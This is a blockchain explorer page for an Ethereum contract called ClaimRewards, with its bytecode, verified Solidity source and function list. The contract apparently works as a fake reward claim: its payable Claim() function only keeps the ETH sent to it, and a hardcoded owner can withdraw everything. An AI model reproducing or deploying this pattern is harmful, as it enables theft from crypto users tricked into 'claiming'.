Address Contract Partially Verified
Address
0x00003d1cEf5F30E34510198cB045E4ae0aa20000
Balance
0.385629 ETH
Nonce
1
Code Size
1987 bytes
Creator
0x17d5d3D6...a271 at tx 0xab656d2b...684275
Indexed Transactions
0
Contract Bytecode
1987 bytes
0x6080604052600436106100545760003560e01c8062f714ce1461005957806312065fe0146100825780633158952e146100ad578063715018a6146100b75780638da5cb5b146100ce578063f2fde38b146100f9575b600080fd5b34801561006557600080fd5b50610080600480360381019061007b9190610490565b610122565b005b34801561008e57600080fd5b50610097610228565b6040516100a491906106f7565b60405180910390f35b6100b5610230565b005b3480156100c357600080fd5b506100cc610232565b005b3480156100da57600080fd5b506100e3610246565b6040516100f0919061065c565b60405180910390f35b34801561010557600080fd5b50610120600480360381019061011b9190610467565b61026f565b005b61012a6102f3565b4782111561016d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161016490610677565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156101dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101d490610697565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015610223573d6000803e3d6000fd5b505050565b600047905090565b565b61023a6102f3565b6102446000610371565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6102776102f3565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156102e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016102de906106b7565b60405180910390fd5b6102f081610371565b50565b6102fb610435565b73ffffffffffffffffffffffffffffffffffffffff16610319610246565b73ffffffffffffffffffffffffffffffffffffffff161461036f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610366906106d7565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600033905090565b60008135905061044c8161075f565b92915050565b60008135905061046181610776565b92915050565b60006020828403121561047957600080fd5b60006104878482850161043d565b91505092915050565b600080604083850312156104a357600080fd5b60006104b185828601610452565b92505060206104c28582860161043d565b9150509250929050565b6104d581610723565b82525050565b60006104e8602e83610712565b91507f52657175657374656420616d6f756e7420657863656564732074686520636f6e60008301527f74726163742062616c616e63652e0000000000000000000000000000000000006020830152604082019050919050565b600061054e602d83610712565b91507f526563697069656e7420616464726573732063616e6e6f74206265207468652060008301527f7a65726f20616464726573732e000000000000000000000000000000000000006020830152604082019050919050565b60006105b4602683610712565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061061a602083610712565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b61065681610755565b82525050565b600060208201905061067160008301846104cc565b92915050565b60006020820190508181036000830152610690816104db565b9050919050565b600060208201905081810360008301526106b081610541565b9050919050565b600060208201905081810360008301526106d0816105a7565b9050919050565b600060208201905081810360008301526106f08161060d565b9050919050565b600060208201905061070c600083018461064d565b92915050565b600082825260208201905092915050565b600061072e82610735565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b61076881610723565b811461077357600080fd5b50565b61077f81610755565b811461078a57600080fd5b5056fea26469706673582212206dc8e36c11ca1c621fc575c5049b3c234578805eab76556b9e692860137b426264736f6c63430008000033
Verified Source Code Partial Match
Compiler: v0.8.0+commit.c7dfd78e
EVM: istanbul
Optimization: No
ClaimRewards.sol 138 lines
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
// OpenZeppelin Contracts (last updated v4.9.0) (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
_checkOwner();
_;
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if the sender is not the owner.
*/
function _checkOwner() internal view virtual {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby disabling any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: contracts/main.sol
pragma solidity ^0.8.0;
contract ClaimRewards is Ownable {
constructor() {
// The Ownable constructor sets the owner to the address that deploys the contract
transferOwnership(0x00001f78189bE22C3498cFF1B8e02272C3220000);
}
function withdraw(uint256 amount, address recipient) public onlyOwner {
require(amount <= address(this).balance, "Requested amount exceeds the contract balance.");
require(recipient != address(0), "Recipient address cannot be the zero address.");
payable(recipient).transfer(amount);
}
function Claim() public payable {
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
}
Read Contract
getBalance 0x12065fe0 → uint256
owner 0x8da5cb5b → address
Write Contract 4 functions
These functions modify contract state and require a wallet transaction to execute.
Claim 0x3158952e
No parameters
renounceOwnership 0x715018a6
No parameters
transferOwnership 0xf2fde38b
address newOwner
withdraw 0x00f714ce
uint256 amount
address recipient
Recent Transactions
No transactions found for this address